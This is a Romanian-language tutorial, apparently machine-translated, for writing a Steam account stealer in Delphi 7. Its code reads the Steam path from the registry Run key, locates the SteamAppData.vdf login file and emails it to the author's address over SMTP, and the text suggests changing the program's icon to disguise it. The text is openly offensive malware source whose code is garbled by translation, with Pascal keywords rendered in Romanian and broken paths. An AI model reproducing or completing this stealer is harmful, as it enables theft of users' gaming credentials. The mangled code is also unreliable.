Creați un Steamer pe Delphi
Astăzi vom scrie propriul stil pentru Delphi 7.
Va cântări foarte mult
800kb (da, cunosc taxiul consolei + Winsock, dar eram prea leneș).
Și așa va trebui să implementăm:
1. Căutați directorul Steam și fișierul de trecere în sine
2. Trimiterea fișierului la poștă.
Deschideți Delphi 7, creați proiectul. Am creat? Mergem mai departe.
Pentru a adăuga un formular nou la formular, adăugați o linie.
Pentru a lucra cu registrul în Utilizări, vom scrie Registrul;
Adăugați componenta IdAntiFreeze din fila IndyMisc
Să adăugăm variabilele
[DELPHI] var
Form1: TForm1;
m: TIdMessage;
sm: tidsmtp;
att: tidattachment; [/ DELPHI]
Creați o procedură pentru conectarea și trimiterea unui fișier
[DELPHI] funcția ReadReg (rădăcină: integer; t, cheie: șir): șir;
var
s: șir;
reg: TRegistry;
începe
reg: = TRegistry.Create;
reg.RootKey: = root;
reg.OpenKey (cheie, adevărat);
caz reg.Getdatatype (t) de
rdString, rdExpandString:
s: = reg.ReadString (t);
rdInteger:
s: = IntToStr (reg. inversor (t));
altfel
s: = "alt tip";
se încheie;
rezultat: = s;
reg.Free;
sfarsit; [/ DELPHI]
Facem clic de 2 ori în formular
Aplicați procedurile
procedura TForm1.FormCreate (expeditor: TObject);
var
regpath, cale: șir;
începe
regpath: = ReadReg (HKEY_CURRENT_USER, 'Steam', '\ Softw sunt \ Microsoft \ Windows \ CurrentVersion \ Run');
calea: = Pars ('' ', regpath,' '');
calea: = ExtractFilePath (calea) + 'config \ SteamAppData.v df';
trimiteți calea ('[email protected]', 'parola', 'Where to [email protected]');
se încheie;
Asta e tot. Am terminat codul. Acum continuați cu schimbarea pictogramei și a compilației.
Modificarea pictogramei nu va fi o problemă.
Salvați proiectul.
Fișier -> Salvează ca -> Asigurați-vă că ați selectat un folder separat.
Compilam
Fișierul exe în sine este răsturnat în dosarul proiectului.
Toate mașinile de spălat sunt gata.